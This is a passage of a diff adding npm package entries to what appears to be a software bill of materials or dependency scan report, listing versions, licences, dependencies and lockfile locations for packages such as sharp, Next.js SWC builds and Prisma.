+ "Name": "@img/sharp-libvips-linux-ppc64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linux-ppc64@1.2.4",
+ "UID": "b9fe88386f520556"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1067,
+ "EndLine": 1082
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linux-riscv64@1.2.4",
+ "Name": "@img/sharp-libvips-linux-riscv64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linux-riscv64@1.2.4",
+ "UID": "7306515e6d0d4cb5"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1083,
+ "EndLine": 1098
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linux-s390x@1.2.4",
+ "Name": "@img/sharp-libvips-linux-s390x",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linux-s390x@1.2.4",
+ "UID": "8f8abfd5cf60a753"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1099,
+ "EndLine": 1114
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linux-x64@1.2.4",
+ "Name": "@img/sharp-libvips-linux-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linux-x64@1.2.4",
+ "UID": "7787bd3bbad66a9c"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1115,
+ "EndLine": 1130
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linuxmusl-arm64@1.2.4",
+ "Name": "@img/sharp-libvips-linuxmusl-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linuxmusl-arm64@1.2.4",
+ "UID": "daef61b3ba5c54e2"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1131,
+ "EndLine": 1146
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-libvips-linuxmusl-x64@1.2.4",
+ "Name": "@img/sharp-libvips-linuxmusl-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-libvips-linuxmusl-x64@1.2.4",
+ "UID": "a23b08285d680b1b"
+ },
+ "Version": "1.2.4",
+ "Licenses": [
+ "LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1147,
+ "EndLine": 1162
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linux-arm@0.34.5",
+ "Name": "@img/sharp-linux-arm",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linux-arm@0.34.5",
+ "UID": "3b65a197cb3d2e5e"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linux-arm@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1163,
+ "EndLine": 1184
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linux-arm64@0.34.5",
+ "Name": "@img/sharp-linux-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linux-arm64@0.34.5",
+ "UID": "f9c512e353e6dd5b"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linux-arm64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1185,
+ "EndLine": 1206
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linux-ppc64@0.34.5",
+ "Name": "@img/sharp-linux-ppc64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linux-ppc64@0.34.5",
+ "UID": "41e792f462289dab"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linux-ppc64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1207,
+ "EndLine": 1228
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linux-riscv64@0.34.5",
+ "Name": "@img/sharp-linux-riscv64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linux-riscv64@0.34.5",
+ "UID": "bf0a060c7b576e8e"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linux-riscv64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1229,
+ "EndLine": 1250
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linux-s390x@0.34.5",
+ "Name": "@img/sharp-linux-s390x",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linux-s390x@0.34.5",
+ "UID": "b9a78d9f6162feaf"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linux-s390x@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1251,
+ "EndLine": 1272
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linux-x64@0.34.5",
+ "Name": "@img/sharp-linux-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linux-x64@0.34.5",
+ "UID": "60e2b3d9f1247b9a"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linux-x64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1273,
+ "EndLine": 1294
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linuxmusl-arm64@0.34.5",
+ "Name": "@img/sharp-linuxmusl-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linuxmusl-arm64@0.34.5",
+ "UID": "2ee64cc62be58aa8"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linuxmusl-arm64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1295,
+ "EndLine": 1316
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-linuxmusl-x64@0.34.5",
+ "Name": "@img/sharp-linuxmusl-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-linuxmusl-x64@0.34.5",
+ "UID": "b802077030fd6a68"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@img/sharp-libvips-linuxmusl-x64@1.2.4"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1317,
+ "EndLine": 1338
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-wasm32@0.34.5",
+ "Name": "@img/sharp-wasm32",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-wasm32@0.34.5",
+ "UID": "315d764ed119910e"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0 AND LGPL-3.0-or-later AND MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@emnapi/runtime@1.10.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1339,
+ "EndLine": 1357
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-win32-arm64@0.34.5",
+ "Name": "@img/sharp-win32-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-win32-arm64@0.34.5",
+ "UID": "75c9d9c1e81a5e5d"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0 AND LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1358,
+ "EndLine": 1376
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-win32-ia32@0.34.5",
+ "Name": "@img/sharp-win32-ia32",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-win32-ia32@0.34.5",
+ "UID": "c9241f103d3c1752"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0 AND LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1377,
+ "EndLine": 1395
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@img/sharp-win32-x64@0.34.5",
+ "Name": "@img/sharp-win32-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40img/sharp-win32-x64@0.34.5",
+ "UID": "c687cc791b97e1e3"
+ },
+ "Version": "0.34.5",
+ "Licenses": [
+ "Apache-2.0 AND LGPL-3.0-or-later"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1396,
+ "EndLine": 1414
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@ioredis/commands@1.5.1",
+ "Name": "@ioredis/commands",
+ "Identifier": {
+ "PURL": "pkg:npm/%40ioredis/commands@1.5.1",
+ "UID": "58ecae69a93e2f09"
+ },
+ "Version": "1.5.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1415,
+ "EndLine": 1420
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@isaacs/cliui@8.0.2",
+ "Name": "@isaacs/cliui",
+ "Identifier": {
+ "PURL": "pkg:npm/%40isaacs/cliui@8.0.2",
+ "UID": "dc08a11b97a9eb85"
+ },
+ "Version": "8.0.2",
+ "Licenses": [
+ "ISC"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "string-width-cjs@4.2.3",
+ "string-width@5.1.2",
+ "strip-ansi-cjs@6.0.1",
+ "strip-ansi@7.2.0",
+ "wrap-ansi-cjs@7.0.0",
+ "wrap-ansi@8.1.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1421,
+ "EndLine": 1437
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@jridgewell/gen-mapping@0.3.13",
+ "Name": "@jridgewell/gen-mapping",
+ "Identifier": {
+ "PURL": "pkg:npm/%40jridgewell/gen-mapping@0.3.13",
+ "UID": "27665c4f814f5e91"
+ },
+ "Version": "0.3.13",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@jridgewell/sourcemap-codec@1.5.5",
+ "@jridgewell/trace-mapping@0.3.31"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1530,
+ "EndLine": 1539
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@jridgewell/resolve-uri@3.1.2",
+ "Name": "@jridgewell/resolve-uri",
+ "Identifier": {
+ "PURL": "pkg:npm/%40jridgewell/resolve-uri@3.1.2",
+ "UID": "5df8c5a4f363c9b5"
+ },
+ "Version": "3.1.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1540,
+ "EndLine": 1548
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@jridgewell/sourcemap-codec@1.5.5",
+ "Name": "@jridgewell/sourcemap-codec",
+ "Identifier": {
+ "PURL": "pkg:npm/%40jridgewell/sourcemap-codec@1.5.5",
+ "UID": "736cc6018e51def4"
+ },
+ "Version": "1.5.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1549,
+ "EndLine": 1554
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@jridgewell/trace-mapping@0.3.31",
+ "Name": "@jridgewell/trace-mapping",
+ "Identifier": {
+ "PURL": "pkg:npm/%40jridgewell/trace-mapping@0.3.31",
+ "UID": "6c23e5f2c10631c7"
+ },
+ "Version": "0.3.31",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@jridgewell/resolve-uri@3.1.2",
+ "@jridgewell/sourcemap-codec@1.5.5"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1555,
+ "EndLine": 1564
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@js-sdsl/ordered-map@4.4.2",
+ "Name": "@js-sdsl/ordered-map",
+ "Identifier": {
+ "PURL": "pkg:npm/%40js-sdsl/ordered-map@4.4.2",
+ "UID": "e34b682b2b5e7ea"
+ },
+ "Version": "4.4.2",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1565,
+ "EndLine": 1575
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/env@14.2.3",
+ "Name": "@next/env",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/env@14.2.3",
+ "UID": "f533f45dd6d0a5b2"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1576,
+ "EndLine": 1581
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-darwin-arm64@14.2.3",
+ "Name": "@next/swc-darwin-arm64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-darwin-arm64@14.2.3",
+ "UID": "9ee845f1c50c9eed"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1582,
+ "EndLine": 1597
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-darwin-x64@14.2.3",
+ "Name": "@next/swc-darwin-x64",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-darwin-x64@14.2.3",
+ "UID": "24dd4a7b019fa44f"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1598,
+ "EndLine": 1613
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-linux-arm64-gnu@14.2.3",
+ "Name": "@next/swc-linux-arm64-gnu",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-linux-arm64-gnu@14.2.3",
+ "UID": "57fb56d460dbcef9"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1614,
+ "EndLine": 1629
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-linux-arm64-musl@14.2.3",
+ "Name": "@next/swc-linux-arm64-musl",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-linux-arm64-musl@14.2.3",
+ "UID": "12ede54ae1260d7a"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1630,
+ "EndLine": 1645
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-linux-x64-gnu@14.2.3",
+ "Name": "@next/swc-linux-x64-gnu",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-linux-x64-gnu@14.2.3",
+ "UID": "36de361f61509fe9"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1646,
+ "EndLine": 1661
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-linux-x64-musl@14.2.3",
+ "Name": "@next/swc-linux-x64-musl",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-linux-x64-musl@14.2.3",
+ "UID": "d7941c8ea1db7849"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1662,
+ "EndLine": 1677
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-win32-arm64-msvc@14.2.3",
+ "Name": "@next/swc-win32-arm64-msvc",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-win32-arm64-msvc@14.2.3",
+ "UID": "1cec55188af95ae3"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1678,
+ "EndLine": 1693
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-win32-ia32-msvc@14.2.3",
+ "Name": "@next/swc-win32-ia32-msvc",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-win32-ia32-msvc@14.2.3",
+ "UID": "3312417dc5f40e95"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1694,
+ "EndLine": 1709
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@next/swc-win32-x64-msvc@14.2.3",
+ "Name": "@next/swc-win32-x64-msvc",
+ "Identifier": {
+ "PURL": "pkg:npm/%40next/swc-win32-x64-msvc@14.2.3",
+ "UID": "1600c5ccddd71c4b"
+ },
+ "Version": "14.2.3",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1710,
+ "EndLine": 1725
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@noble/ciphers@1.3.0",
+ "Name": "@noble/ciphers",
+ "Identifier": {
+ "PURL": "pkg:npm/%40noble/ciphers@1.3.0",
+ "UID": "32ed4f835393882f"
+ },
+ "Version": "1.3.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1726,
+ "EndLine": 1737
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@noble/hashes@1.8.0",
+ "Name": "@noble/hashes",
+ "Identifier": {
+ "PURL": "pkg:npm/%40noble/hashes@1.8.0",
+ "UID": "c4655840c0603060"
+ },
+ "Version": "1.8.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1738,
+ "EndLine": 1749
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@nodable/entities@2.1.0",
+ "Name": "@nodable/entities",
+ "Identifier": {
+ "PURL": "pkg:npm/%40nodable/entities@2.1.0",
+ "UID": "f66b1c7cc9284b48"
+ },
+ "Version": "2.1.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1750,
+ "EndLine": 1762
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@nodelib/fs.scandir@2.1.5",
+ "Name": "@nodelib/fs.scandir",
+ "Identifier": {
+ "PURL": "pkg:npm/%40nodelib/fs.scandir@2.1.5",
+ "UID": "26ec2b4e7979ce37"
+ },
+ "Version": "2.1.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@nodelib/fs.stat@2.0.5",
+ "run-parallel@1.2.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1763,
+ "EndLine": 1775
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@nodelib/fs.stat@2.0.5",
+ "Name": "@nodelib/fs.stat",
+ "Identifier": {
+ "PURL": "pkg:npm/%40nodelib/fs.stat@2.0.5",
+ "UID": "4d51f4032bd31858"
+ },
+ "Version": "2.0.5",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1776,
+ "EndLine": 1784
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@nodelib/fs.walk@1.2.8",
+ "Name": "@nodelib/fs.walk",
+ "Identifier": {
+ "PURL": "pkg:npm/%40nodelib/fs.walk@1.2.8",
+ "UID": "6b1c595124cb4892"
+ },
+ "Version": "1.2.8",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@nodelib/fs.scandir@2.1.5",
+ "fastq@1.20.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1785,
+ "EndLine": 1797
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@one-ini/wasm@0.1.1",
+ "Name": "@one-ini/wasm",
+ "Identifier": {
+ "PURL": "pkg:npm/%40one-ini/wasm@0.1.1",
+ "UID": "e8733f7b850cc5a6"
+ },
+ "Version": "0.1.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1798,
+ "EndLine": 1803
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@opentelemetry/api@1.9.1",
+ "Name": "@opentelemetry/api",
+ "Identifier": {
+ "PURL": "pkg:npm/%40opentelemetry/api@1.9.1",
+ "UID": "2772060db60892c5"
+ },
+ "Version": "1.9.1",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1804,
+ "EndLine": 1813
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@otplib/core@12.0.1",
+ "Name": "@otplib/core",
+ "Identifier": {
+ "PURL": "pkg:npm/%40otplib/core@12.0.1",
+ "UID": "af65b9260cf60878"
+ },
+ "Version": "12.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1814,
+ "EndLine": 1819
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@otplib/plugin-crypto@12.0.1",
+ "Name": "@otplib/plugin-crypto",
+ "Identifier": {
+ "PURL": "pkg:npm/%40otplib/plugin-crypto@12.0.1",
+ "UID": "bea68803c96e08e0"
+ },
+ "Version": "12.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@otplib/core@12.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1820,
+ "EndLine": 1829
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@otplib/plugin-thirty-two@12.0.1",
+ "Name": "@otplib/plugin-thirty-two",
+ "Identifier": {
+ "PURL": "pkg:npm/%40otplib/plugin-thirty-two@12.0.1",
+ "UID": "95f75ff383f419c6"
+ },
+ "Version": "12.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@otplib/core@12.0.1",
+ "thirty-two@1.0.2"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1830,
+ "EndLine": 1840
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@otplib/preset-default@12.0.1",
+ "Name": "@otplib/preset-default",
+ "Identifier": {
+ "PURL": "pkg:npm/%40otplib/preset-default@12.0.1",
+ "UID": "831ed3d5651f5c89"
+ },
+ "Version": "12.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@otplib/core@12.0.1",
+ "@otplib/plugin-crypto@12.0.1",
+ "@otplib/plugin-thirty-two@12.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1841,
+ "EndLine": 1852
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@otplib/preset-v11@12.0.1",
+ "Name": "@otplib/preset-v11",
+ "Identifier": {
+ "PURL": "pkg:npm/%40otplib/preset-v11@12.0.1",
+ "UID": "847748d8bc8053d5"
+ },
+ "Version": "12.0.1",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@otplib/core@12.0.1",
+ "@otplib/plugin-crypto@12.0.1",
+ "@otplib/plugin-thirty-two@12.0.1"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1853,
+ "EndLine": 1863
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@pkgjs/parseargs@0.11.0",
+ "Name": "@pkgjs/parseargs",
+ "Identifier": {
+ "PURL": "pkg:npm/%40pkgjs/parseargs@0.11.0",
+ "UID": "d535e30aaa4879aa"
+ },
+ "Version": "0.11.0",
+ "Licenses": [
+ "MIT"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1874,
+ "EndLine": 1883
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@prisma/client@5.22.0",
+ "Name": "@prisma/client",
+ "Identifier": {
+ "PURL": "pkg:npm/%40prisma/client@5.22.0",
+ "UID": "36b2dc760a0e2471"
+ },
+ "Version": "5.22.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "prisma@5.22.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1884,
+ "EndLine": 1901
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@prisma/debug@5.22.0",
+ "Name": "@prisma/debug",
+ "Identifier": {
+ "PURL": "pkg:npm/%40prisma/debug@5.22.0",
+ "UID": "3421bf7d5a357f11"
+ },
+ "Version": "5.22.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1902,
+ "EndLine": 1908
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@prisma/engines@5.22.0",
+ "Name": "@prisma/engines",
+ "Identifier": {
+ "PURL": "pkg:npm/%40prisma/engines@5.22.0",
+ "UID": "6aad7f35bd92cfb0"
+ },
+ "Version": "5.22.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "DependsOn": [
+ "@prisma/debug@5.22.0",
+ "@prisma/engines-version@5.22.0-44.605197351a3c8bdd595af2d2a9bc3025bca48ea2",
+ "@prisma/fetch-engine@5.22.0",
+ "@prisma/get-platform@5.22.0"
+ ],
+ "Locations": [
+ {
+ "StartLine": 1909,
+ "EndLine": 1922
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@prisma/engines-version@5.22.0-44.605197351a3c8bdd595af2d2a9bc3025bca48ea2",
+ "Name": "@prisma/engines-version",
+ "Identifier": {
+ "PURL": "pkg:npm/%40prisma/engines-version@5.22.0-44.605197351a3c8bdd595af2d2a9bc3025bca48ea2",
+ "UID": "b15d584fa6796769"
+ },
+ "Version": "5.22.0-44.605197351a3c8bdd595af2d2a9bc3025bca48ea2",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
+ "Locations": [
+ {
+ "StartLine": 1923,
+ "EndLine": 1929
+ }
+ ],
+ "AnalyzedBy": "npm"
+ },
+ {
+ "ID": "@prisma/fetch-engine@5.22.0",
+ "Name": "@prisma/fetch-engine",
+ "Identifier": {
+ "PURL": "pkg:npm/%40prisma/fetch-engine@5.22.0",
+ "UID": "90f07b58f9429522"
+ },
+ "Version": "5.22.0",
+ "Licenses": [
+ "Apache-2.0"
+ ],
+ "Indirect": true,
+ "Relationship": "indirect",
